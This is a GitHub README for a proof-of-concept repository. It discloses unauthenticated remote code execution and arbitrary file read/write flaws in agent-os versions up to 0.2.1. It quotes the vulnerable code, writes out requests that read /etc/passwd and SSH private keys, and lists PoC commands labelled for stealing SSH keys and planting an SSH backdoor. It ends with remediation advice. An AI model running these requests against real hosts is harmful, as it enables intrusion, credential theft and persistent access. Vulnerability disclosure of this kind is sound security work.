BlessedOn3/poc-agent-os-unauth-rce

GitHub: BlessedOn3/poc-agent-os-unauth-rce

Stars: 0 | Forks: 0

# CVE — saadnvd1/agent-os Unauthenticated RCE (5 Findings) **Severity:** Critical (CVSS 3.1: 10.0) **Affected version:** agent-os ≤ v0.2.1 (`@saadnvd1/agent-os`) **Reporter:** Mateus Gama (theblessone.sec@gmail.com) **Disclosure:** Coordinated — 2026-05-27 (issue #47) ## Summary AgentOS exposes a fully unauthenticated backend with 53 API routes and a WebSocket terminal endpoint. Zero routes require any authentication. The server binds to `0.0.0.0` by default. | # | Finding | CVSS | |---|---|---| | 01 | Unauthenticated RCE via WebSocket `/ws/terminal` | **10.0** | | 02 | Unauthenticated RCE via `POST /api/exec` | **10.0** | | 03 | Unauthenticated arbitrary file write | 9.6 | | 04 | Unauthenticated arbitrary file read | 7.5 | | 05 | Unauthenticated directory listing | 7.5 | ## FINDING-01 — WebSocket PTY Shell The endpoint `/ws/terminal` spawns a full PTY for any connecting client: // server.ts — no auth check before upgrade terminalWss.handleUpgrade(request, socket, head, (ws) => { terminalWss.emit("connection", ws, request); }); terminalWss.on("connection", (ws) => { ptyProcess = pty.spawn(shell, [], { cwd: HOME, env: minimalEnv }); ws.on("message", (msg) => { case "command": ptyProcess.write(msg.data + "\r"); // arbitrary shell command }); }); ## FINDING-02 — POST /api/exec // app/api/exec/route.ts export async function POST(request: NextRequest) { const { command } = await request.json(); const { stdout } = await execAsync(command, { shell: "/bin/zsh" }); return NextResponse.json({ output: stdout }); } ## FINDING-03/04/05 — File Read / Write / Directory Listing // No auth on any of these: GET /api/files?path=/etc/passwd GET /api/files/content?path=~/.ssh/id_rsa POST /api/files/content { path: "~/.ssh/authorized_keys", content: "attacker-key" } ## Proof of Concept # Quick check — RCE via exec endpoint bash poc/exec_rce.sh http://target:3011 # Full WebSocket PTY shell python3 poc/ws_terminal.py ws://target:3011 # Steal SSH key bash poc/file_read.sh http://target:3011 ~/.ssh/id_rsa # Plant SSH backdoor bash poc/file_write.sh http://target:3011 ~/.ssh/authorized_keys "$(cat payloads/ssh_key.pub)" ## Remediation 1. Change default binding to `127.0.0.1` in `server.ts` 2. Generate a per-install token at first run (pattern: Jupyter Notebook) 3. Require token on every HTTP request and WebSocket upgrade 4. Remove or sandbox `POST /api/exec`